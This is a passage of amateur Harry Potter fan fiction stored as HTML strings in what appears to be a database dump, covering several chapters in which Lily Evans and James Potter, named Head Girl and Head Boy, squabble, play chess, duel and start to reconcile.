Petunia.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>~**~**~</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>Meanwhile, a certain, James Potter, was just as miserable as Lily. He had just received his letter, and as the two had a mutual hatred, he fell into despair, or was it the fact that his girlfriend had just left him, for&#8230;well, oddly enough for one, Joshua Lamour.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Hey Prongs!&#8221; Sirius screamed as he slammed the door shut.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Hey Padfoot,&#8221; James returned dismally.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;What, aren&#8217;t you glad to see me?&#8221; Sirius put on a fake pout. </p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;It&#8217;s not that, it&#8217;s just, oh, hell just read the letters,&#8221; said James, pointing to the letters on the floor.</p>\n\n<p>&nbsp;</p>\n\n<p>Sirius picked up the letters and read both. </p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Hey, you&#8217;re Head Boy, that&#8217;s great!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Yeah but look at who&#8217;s Head Girl.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Sirius read further down the letter. <br>\n\n\n<br>\n\n\n</p>\n\n<p>&#8220;You know bud, she&#8217;s not that bad.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;And just exactly how would you know?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Well, actually, she tutored me in Transfiguration last year.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;What! And you didn&#8217;t tell me?&#8221; </p>\n\n<p>&#8220;Chill!&#8221; Sirius read the next letter. His jaw dropped. &#8220;Shit James, Maggie left you&#8230;for LAMOUR! Ugh!&#8221; Sirius made a sour face. &#8220;Hey, the up side is that now Evans is free for the taking!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Are you off your rocker? Don&#8217;t look at me like that, it&#8217;s bloody frightening!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Oh, come on James, she&#8217;s hot, she&#8217;s smart, she looks like she be great in bed&#8230;&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;God, you <i>are</i> perverted! Moony and I really have to find you a girl to get your mind out of the gutter.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Yeah, anyway, what about you and Evans, I mean you&#8217;ll be working awfully close&#8230;&#8221; Sirius broke off into a fit of giggles, which quite unnerved James. Luckily Remus and Peter, otherwise known respectively as Moony and Wormtail, entered the room, coming to James&#8217; rescue.</p>\n\n<p>&nbsp;</p>\n\n<p>As soon as Sirius noticed that the two had entered he plunged into a full account of James&#8217; situation, adding his own touches here and there.</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>~**~**~</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>Two weeks later Lily stepped between the barrier of the Muggle world and the Wizarding world. As she stepped onto Platform 9 &#190; the ever so familiar sight of the crimson Hogwarts Express greeted her.</p>\n\n<p>&nbsp;</p>\n\n<p>An hour later Lily was sitting in the next to last compartment, as the train started to move. Lily was sitting with her friends Sarah and Marie the latter were sleeping already.</p>\n\n<p>&nbsp;</p>\n\n<p>Sighing Lily pulled out a book. Just as she got to the bottom of the second page and announcement came over the loudspeaker. </p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Would Lilian Evans please report to the Head Student Compartment at the head of the train, immediately.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Lily gathered her things and sighing made her way to the first compartment, where James Potter greeted her ever so ungraciously.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;What&#8217;s your problem?&#8221; she asked icily.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;What do you think?&#8221; he asked in return.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Fine, be that way!&#8221; Lily whipped out her book once again and began reading.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I don&#8217;t know why we have to sit up here anyway!&#8221; said James all of a sudden.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I know, I&#8217;d much rather be with my friends.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Yeah, all we have left are our friends considering that now our ex&#8217;s are dating.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;What?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Didn&#8217;t Josh tell you why he left you?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;How&#8217;d you know that Josh left me?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Maggie left me for Josh, that&#8217;s how a know.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I can&#8217;t believe he didn&#8217;t tell me! The bastard! Why are you being so nice all of a sudden?</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Well, quite honestly, I&#8217;m bored.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I see.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Hey, you want to play Chess?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Just how badly do you want to loose?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Me loose? Ha, in your dreams!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;We&#8217;ll see. Hey, you want to put 5 galleons on it?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;You&#8217;re on!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>The two managed, somehow to not kill each other on the way to Hogwarts, though the only thing keeping them from that was that each was rather good at chess and not allowing the other many pawns.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Check!&#8221; cried Lily after the game had been going for several hours.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Blast! I should have seen that!&#8221; </p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Check Mate! I win!&#8221; Lily jumped up. &#8220;Oh and, pay up!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Fine, fine, here!&#8221; James threw 5 large gold pieces at Lily. &#8220;I can&#8217;t believe I just lost!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Why because I&#8217;m a girl?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;No, because I had never lost before!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Really?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Yeah,&#8221; James crinkled up his nose, which in Lily&#8217;s opinion made him quite handsome. Wait, what was she thinking! This was James Potter, the one she hated! Or did she?</p>\n\n<p>&nbsp;</p>\n\n<p>James just shook his head, &#8216;I lost&#8217; he thought to himself. He chanced a glance at Lily; she seemed to be having a great internal struggle. &#8216;Hey she looks cute like that! Maybe Sirius was right. Wait, what am I thinking? This is Lily Evans we&#8217;re talking about!&#8217;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p> '),
	(251, 3, ' <p>~*~CHAPTER 2~*~</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Ugh! I am so bored now!&#8221; cried Sirius as he glanced out the window of the train car.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Do you want to play Exploding Snap some more?&#8221; asked Peter.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Oh, GOD NO! If I ever play that again I swear it&#8217;ll be too soon.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Hey Padfoot, do you want to go spy on our dear Prongs?&#8221; asked Remus all of a sudden.</p>\n\n<p>&nbsp;</p>\n\n<p>Sirius&#8217; eyes lit up as if he was a child at Christmas, though if you looked close enough devilish glint was noticeable. Before Remus could blink Sirius was at the compartment door. Throwing it open he rushed into the hallway.</p>\n\n<p>&nbsp;</p>\n\n<p>Remus rushed after him. Leaving behind, in the compartment, a very confused and lonely Peter. </p>\n\n<p>&nbsp;</p>\n\n<p>Sirius sprinted down the corridor. Throwing open compartment doors as he went. You see Sirius was rather hyper at times, especially when on an adrenaline rush, such as he was right then.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Urgh! Sirius wait up!&#8221; called Remus, and to his utmost surprise Sirius actually stopped. Not only did he stop, he stopped dead in his tracks. </p>\n\n<p>&nbsp;</p>\n\n<p>Remus finally caught up to him. Sirius gave Remus a mischievous look and began slinking down the corridor on his stomach. Sirius had after all stopped dead in his tracks, and when he did that he would fall flat on his front and lie still until his followers came to his side.</p>\n\n<p>&nbsp;</p>\n\n<p>Remus shook his head in annoyance and began following Sirius again. Though, Remus, having the more common sense of two, walked.</p>\n\n<p>&nbsp;</p>\n\n<p>Upon reaching James and Lily&#8217;s compartment, Sirius heard giggling and laughter. Sirius looked as if he was a deer caught in the headlights of a car. His jaw was dropped and his eyes, which were normally squinted in a devilish act, were as wide as golf balls.</p>\n\n<p>&nbsp;</p>\n\n<p>Remus too looked quite surprised.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;But, I thought that you and your Marauder&#8217;s hated me.&#8221; Lily&#8217;s voice carried from inside the compartment. </p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Well, first off, the rest of the Marauder&#8217;s never hated you, that was me. Second off, how did you know that we were called the Marauder&#8217;s? And third off, I don&#8217;t hate you any more. I still can&#8217;t believe that you beat me at chess.&#8221; James&#8217; answer reached Sirius&#8217; ears.</p>\n\n<p>&nbsp;</p>\n\n<p>Making a sputtering noise and falling down, well as far as he could fall, given his position, Sirius faked a faint.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;What was that?&#8221; asked Lily.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Ugh! SIRIUS BLACK! What ARE you doing?&#8221; cried James as he strode over to the door and threw it open.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Get up you slimy git, I know that you&#8217;re faking.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Why Prongsie have you fraternized with the enemy?&#8221; pouted Sirius.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Oh, you prat, weren&#8217;t you the one that was telling last week that Lily here was hot and looked as though she&#8217;d be goo&#8230;&#8221; James started but was cut off by Sirius&#8217; hand being placed over his mouth.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Uh, sorry about that Lily. You know how it is when James and Sirius get started. It&#8217;s like watching two year olds fight, except, well, they use bigger words&#8230;sometimes.&#8221; Remus added the sometimes as Sirius had just called James a &#8216;poo-poo head.&#8217; </p>\n\n<p>&nbsp;</p>\n\n<p>This act sent Lily into a fit of giggles. Her bright emerald orbs sparkling as Sirius called James a &#8216;Koala Butt.&#8217;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Sirius Black, when will you grow up?&#8221; came a voice. It was one of Lily&#8217;s best friend&#8217;s, Sarah.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Uh&#8230;Hi Sarah,&#8221; greeted Remus, a slight blush rising in his cheeks.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Why hello Remus,&#8221; she returned giving him a smile.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Tsk, tsk, tsk, Sirius Black, I do believe that a might just end up having to punish you for disturbing my friend, Lily,&#8221; Marie said, giving Sirius one of her best seductive smiles.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;And just how are you going to <i>punish</i> me?&#8221; Sirius wiggled his eyebrows at Marie.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Why don&#8217;t you come with me and I&#8217;ll show you.&#8221; Making a noise like a cat growl, Marie turned on her heel and walked away, swinging her hips in a seductive manner.</p>\n\n<p>&nbsp;</p>\n\n<p>Sirius whimpered and after giving a final glance at the four, who were left standing, took off after Marie.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Well, at least now we know where his priorities lie, hey Prongs.&#8221; </p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Yeah,&#8221; answered James as he watched Sirius turn into a compartment and disappear from sight.</p>\n\n<p>&nbsp;</p>\n\n<p>Lily, Sarah, Remus, and James all shook their heads then turned to each other.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;So do you guys wanna come in?&#8221; both Lily and James asked Remus and Sarah at the same exact time.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Whoa, that was scary,&#8221; they both said again.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Stop it!&#8221; They both cried.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Cut it out you guys, it&#8217;s freaking us out.&#8221; Sarah and Remus were looking on. Remus had been the one to speak up.</p>\n\n<p>&nbsp;</p>\n\n<p>They all filed into the compartment, Lily and Sarah, of course had gone first, as oddly enough, both Remus and James had some manners.</p>\n\n<p>&nbsp;</p>\n\n<p>They all had fun talking and telling jokes until a booming voice came over the loudspeaker, &#8216;WE WILL BE ARRIVING AT HOGSMEADE STATION MOMENTARILY. PLEASE CHANGE INTO YOUR HOGWARTS ROBES IF YOU HAVE NOT ALREADY DONE SO. THANK YOU.&#8217; </p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Well, I guess we best get changed.&#8221; Lily and Sarah got up to go to the loo to change.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Well, Prongs, I&#8217;ve got to go get my robes from the other compartment. Speaking of the other compartment, I do believe we left Wormtail behind.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Okay then, I&#8217;ll see you at supper.&#8221; Remus nodded and left. </p>\n\n<p>&nbsp;</p>\n\n<p>James was changing when Lily came back in to the compartment. James was wearing only his pants and shoes. </p>\n\n<p>&nbsp;</p>\n\n<p>Lily quickly turned around and closed the door behind her, but not before sneaking a look at the six-pack on James. She could feel the heat rising in her cheeks.</p>\n\n<p>&nbsp;</p>\n\n<p>The door opened soon after and James came out, completely clothed.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I&#8217;m so sorry,&#8221; Lily whispered, not looking James in the eye, as the train came to a halt.</p> '),
	(251, 4, ' <p>(A/N: I&#8217;m so sorry it took so long! I&#8217;ve been so busy lately. I hope to have another chapter up within the week. I hope you enjoy it. Oh, and it WILL be living up to it&#8217;s R rating in the next two chapters! Enjoy!)</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>Lily, Marie and Sarah got into one of the many horseless ones headed up to the towering castle that was set off a ways in the distance. Lily sighed and pulled her cloak closer around her. It was quite cold for the first day of September. Actually, Lily thought that it felt more like mid-October. She looked out the window, watching as the first years were herded, much like sheep, into the boats that lay on the lake&#8217;s shore.</p>\n\n<p>&nbsp;</p>\n\n<p>Lily was contented to just sit there. That was until one Mr. James Potter, Head Boy, so rudely interrupted her from her pleasant reverie. </p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Hey Lily-kins. Mind if I sit here?&#8221; He asked whilst plopping down right into her lap.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;POTTER! Get-OFF!&#8221; Lily screamed as she abruptly stood up causing James to land on the floor.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Ouch! James she&#8217;s a feisty one, she is,&#8221; laughed Marie.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Aww, did poor Jamesie get <i>dumped</i> by Lily?&#8221; Sirius was doubled over in hysterics at his own joke.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;OUT POTTER! NOW!&#8221; Lily made no attempt to lower her voice as she screamed at James. Nearly blowing out everyone&#8217;s eardrums, who were in a 5-meter radius. </p>\n\n<p>&nbsp;</p>\n\n<p>Slamming his palms to his ears James stood up and faced Lily. Though he had her by a head the fire in her emerald eyes caused James to feel as though he was matched against someone twice his size. Shoving this feeling into his gut he looked Lily straight in the eyes.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;MAKE ME!&#8221; he boomed. Pure venom dripped from his voice. Lily, though, did not notice.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;WHY SHOULD I? I WAS HERE FIRST!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;DO I HAVE TO TAKE POINTS FROM GRYFFINDOR ALREADY FOR ASSAULTING THE HEAD BOY?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;HOW WOULD YOU LIKE IT IF I TOOK TWICE AS MANY POINTS FOR YOU SEXUALLY HARASSING ME?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;URGH!&#8221; James cried and left the carriage, flanked closely by the rest of the Marauders.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;URGH, HE&#8217;S SOOOO ANNOYING!!!!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;LILY, stop yelling! Geez, you&#8217;re liable to blow someone&#8217;s ear drums out.&#8221; Sarah spoke up.</p>\n\n<p>&#8220;Oh, sorry guys. I didn&#8217;t mean for you to witness that.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Hey, I thought it was pretty funny.&#8221; Marie was still looking out the door at the Marauders&#8217; retreating backs. One in particular, one Mr. Sirius Black.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Oh my GOD! Mar, you like Sirius!&#8221; Lily cried.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;What exactly did you do to him earlier?&#8221; inquired Sarah.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;That&#8217;s for him and I to know, and you to wonder about.&#8221; Marie sat with a smirk on her face.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Marie, that is not fair. We&#8217;re your best friends, you have to tell us!&#8221; Lily was stomping her foot like a child when it does not get what it wants.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Some things are better kept to oneself. Though, if you want to know if it was something vulgar, then that I will give an answer to.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Well&#8230;?&#8221; Sarah was growing impatient.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;The answer is no, it was not vulgar. Though, it probably would have been, had we not arrived at Hogsmeade.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;MARIE!&#8221; both Lily and Sarah cried in unison.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;What?&#8221; asked Marie in an innocent tone, using her big brown eyes to give a puppy-dog face.</p>\n\n<p>&nbsp;</p>\n\n<p>They soon arrived at the enormous oak doors leading into Hogwarts and getting out of the carriages they were greeted by Peeves, the school&#8217;s local poltergeist, throwing balloons full of a green slime. The three girls screamed and ran as quickly as possible to the doors, in order to escape Peeves.</p>\n\n<p>&nbsp;</p>\n\n<p>Sarah was hit in the back of the head as they pushed through the front doors. Peeves cackled and left, saying, &#8220;Don&#8217;t fret, I&#8217;ll be back for the ickle firsties!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Lily just shook her head and pulled her wand out. After casting a quick cleaning spell on Sarah&#8217;s hair, they went into the Great Hall. Taking their usual seats at the Gryffindor table they were soon greeted by the, currently, most unwanted people. </p>\n\n<p>&nbsp;</p>\n\n<p>The Marauders sat down on the opposite side of the table. Sirius sat across from Marie, who sat next to Lily. Across from Lily sat James, though she&#8217;d be damned if she was going to look up from the table, for fear that she might blow him up or something. On the opposite side of Lily was Sarah and across from her sat Remus. The two exchanged a quick smile and turned back to staring at the table, light blushes covering both of their cheeks. Peter, of course, had been left out, once again, so he sat next to Sirius. </p>\n\n<p>&nbsp;</p>\n\n<p>Lily was growing rather impatient as McGonagall brought in the First Years, who, I might add, were covered from head to toe in the green slime. &#8216;Poor dears,&#8217; Lily thought as McGonagall set the Sorting Hat on the three-legged stool.</p>\n\n<p>&nbsp;</p>\n\n<blockquote>For than one thousand years,</blockquote>\n\n<blockquote>I have been the cause of cheers,</blockquote>\n\n<blockquote>For each new student comes to me,</blockquote>\n\n<blockquote>So I can tell them where they&#8217;ll be,</blockquote>\n\n<blockquote>From Gryffindor the brave are sprung,</blockquote>\n\n<blockquote>From Ravenclaw fair triumphs sung,</blockquote>\n\n<blockquote>From Hufflepuff the loyal come,</blockquote>\n\n<blockquote>And Slytherin the determined are from,</blockquote>\n\n<blockquote>I&#8217;ve never once wrong,</blockquote>\n\n<blockquote>Yet I&#8217;ve been around so long,</blockquote>\n\n<blockquote>So put me on and you will see,</blockquote>\n\n<blockquote>I KNOW exactly where you should be.</blockquote>\n\n<p>&nbsp;</p>\n\n<p>The Hat finished its song and the Hall erupted with applause. McGonagall, not loosing any time unrolled her parchment and began reading off names.</p>\n\n<p>&nbsp;</p>\n\n<p>After the sorting was over it was seen that Hufflepuff had received the most new First Years. They had 6 new girls and 7 new boys. Slytherin had received the next highest number with 5 new girls and 4 new boys, while Ravenclaw received 4 new girls and 4 new boys.</p>\n\n<p>&nbsp;</p>\n\n<p>Oddly enough Gryffindor received the least amount of new students, 3 girls and 3 boys. Less than half of what Hufflepuff received. </p>\n\n<p>&nbsp;</p>\n\n<p>James had infuriated Lily yet again during supper, by dumping pumpkin juice on her plate of treacle tart. Lily, damning herself, or more so, condemning herself, looked him straight in the eye, which was a mistake for his eyes were captivating azure orbs that sparkled with mystery and enchantment. </p>\n\n<p>&nbsp;</p>\n\n<p>James finally caught Lily&#8217;s eye, their gazes locked. Lily&#8217;s emerald eyes pierced James heart as he looked in to them; strange was the feeling that was washing over him. It was almost as if Lily was staring into his soul, and he liked it, &#8216;damn it Potter, look away!&#8217; he told himself, but a little voice somewhere said, &#8216;Ah shut up! You know you want her Potter! You want her bad! And she wants you!&#8217;</p>\n\n<p>&nbsp;</p>\n\n<p>Sirius&#8217; hand waved in front of James&#8217; eyes. James shook himself, and the thoughts raced from his head. He looked at where Lily had been seated and saw that she was nowhere in sight. He looked to Marie who looked down at the floor. James sunk down in his seat and found Lily sitting on the floor cursing herself.</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p> '),
	(251, 5, ' <p>(A/N: I suppose I should put up disclaimer. Harry Potter and all related indicia belong to J.K Rowling. Oh, and I&#8217;m so sorry that it has taken so long. I&#8217;ve been in 3 musicals and a separate drama club oh and not to mention Theatre classes. I am writing now!)</p>\n\n<p>&nbsp;</p>\n\n<p>Lily was sunk down on the floor, underneath the table, cursing herself. &#8216;I do NOT like Potter!&#8217; her mind screamed. But then there was another voice, one that she rarely listened to, that said, &#8216;Oh, but you think he&#8217;s adorable. It&#8217;s not like you would mind cuddling with <i>him</i>!&#8217;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Urgh!&#8221; came the strangled cry from Lily&#8217;s throat.</p>\n\n<p>&nbsp;</p>\n\n<p>She watched as James Potter also sunk down under the table. Quickly turning her head she cursed herself again. She could feel James&#8217; eyes on her. It felt like a thousand knives piercing her skin. Lily hated being watched. It was so unnerving.</p>\n\n<p>&nbsp;</p>\n\n<p>James caught himself once again gazing contentedly at Lily Evans. &#8216;God is she beautiful!&#8217; The thought made James sigh. </p>\n\n<p>&nbsp;</p>\n\n<p>At hearing the sigh the emanated from James, Lily swung her head to look at him.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;What are <i>you</i> looking at Potter?&#8221; She spit out his name with such disgust that it hurt.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Nothing, Evans,&#8221; James returned with just as much venom.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;GOOD!&#8221; Lily screamed and stood up from under the table.</p>\n\n<p>&nbsp;</p>\n\n<p>Sarah and Marie watched as Lily quickly got up and stormed from the Great Hall.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;What the bloody hell did you do Potter?&#8221; screamed Sarah. Usually she was the laid back, quite one.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;What did I do? Ask Evans what she did!&#8221; James too stormed from the table.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;What was all that about?&#8221; asked Sirius.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I don&#8217;t know, but I have a feeling that this is going to be quite an interesting year, to say the least.&#8221; Marie had no idea just how right her &#8216;prophecy&#8217; would be.</p>\n\n<p>&nbsp;</p>\n\n<p>After everyone had finished eating Dumbledore bid everyone &#8216;good-night&#8217; and sent everyone to bed. The three remaining members of the Marauders walked with Marie and Sarah to the Gryffindor Common Room, only to find it deserted. &#8216;Strange&#8217; thought each of them.</p>\n\n<p>&nbsp;</p>\n\n<p>Just then a third year sprinted down the dormitory stairs and toward the portrait hole.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Hey, wait, what&#8217;s going on?&#8221; Remus asked the boy.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;The Heads are going to have a duel! It&#8217;s in the Quidditch Pitch!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;WHAT?&#8221; Remus, Sirius, Peter, Sarah and Marie all screamed at the same time.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Come on,&#8221; cried Sirius and they all rushed to the Quidditch Pitch.</p>\n\n<p>&nbsp;</p>\n\n<p>When they arrived they found James and Lily, wands pointed at each other, glaring. The hatred coming from them was amazing.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Wow, Lily&#8217;s hot when she&#8217;s mad!&#8221; said Peter.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Sod off Pettigrew!&#8221; cried Sarah. &#8220;Like she&#8217;d ever even talk to you!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Peter looked at the ground his face was downtrodden. He knew that there was no way that Lily would ever like him. Maybe he&#8217;d make her like him someday. Yes, that&#8217;s it; he&#8217;d make her like him! An evil glint lit up Peter&#8217;s eyes as he turned once more to the duel.</p>\n\n<p>&nbsp;</p>\n\n<p>Lily looked at James. Pure envy was showing in her emerald eyes. (A/N: envy in this context is old English for malice;)</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;GIT!&#8221; she cried at him.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;PRAT!&#8221; he called back.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Tarentellegra!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Locomotor Mortis!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>The spells were cast. Lily&#8217;s legs were jerking out of control as James fell down, as his legs were &#8216;locked&#8217;.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Expelliarmus!&#8221; Both of them cried at the same time. The spells collided in the air. They erupted, as did their wands. Immediately the previous spells were null and they looked in surprise at each other.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Dumbledore&#8217;s coming!&#8221; someone cried and the mass of students dispersed immediately. </p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Miss Evans, Mr. Potter, would you please follow me to my office.&#8221; Dumbledore was trying to sound stern but the bright twinkle in his eyes told a different story.</p>\n\n<p>&nbsp;</p>\n\n<p>When they arrived at Dumbledore&#8217;s office (candy cane) James and Lily took seats in two of the armchairs placed in front of his desk. Dumbledore stood in front of them, trying his best to look sternly at them.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Wonderful display of duel tactics. I was thoroughly impressed. Would you two like to run a dueling club here at school?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Both James&#8217; and Lily&#8217;s mouths hung open in response. </p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;You mean, you aren&#8217;t going to expel us?&#8221; asked James.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;No, of course not James. I believe that you have had enough punishment for now, as you now have no wands.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Oh, no, what are we going to do? How can we do magic with out a wand? Oh this is terrible, absolutely terrible,&#8221; cried Lily. Her eyes wide and her body shaking gave her the appearance of a scared child.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Well, Miss Evans, as tomorrow is a Saturday, I will allow Mr. Potter and yourself to go to Hogsmeade and use Floo to travel to Diagon Alley.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Oh, thank you Professor! Thank you!&#8221; Lily cried.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;It&#8217;s my pleasure, my dear.&#8221; Dumbledore stood. &#8220;I would recommend that you go get some sleep for tomorrow.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Yes Professor,&#8221; chorused Lily and James. They left Dumbledore&#8217;s office and headed for the Gryffindor Common Room.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Wow, I can&#8217;t believe that he let us off,&#8221; said James as they trekked back to the GCR. </p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I know. I thought for sure that we would loose our Head privileges.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Me too.&#8221; James sighed and looked at Lily. &#8220;Lily?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Hmm?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I&#8217;m sorry. I didn&#8217;t mean to blow up at you like that and it almost lost us our privileges.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Oh, James, I&#8217;m sorry as well. It was just as much my fault as it was yours. What say we just forget about it and start out anew?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I&#8217;d like that. I really would.&#8221; James gathered Lily into a tight hug. He had wanted to do that for a while but had never had the chance. He felt the heat rise in his cheeks as he released her.</p>\n\n<p>&nbsp;</p>\n\n<p>Lily was also blushing bright rouge. They gazed intently into each other&#8217;s eyes. Not moving. 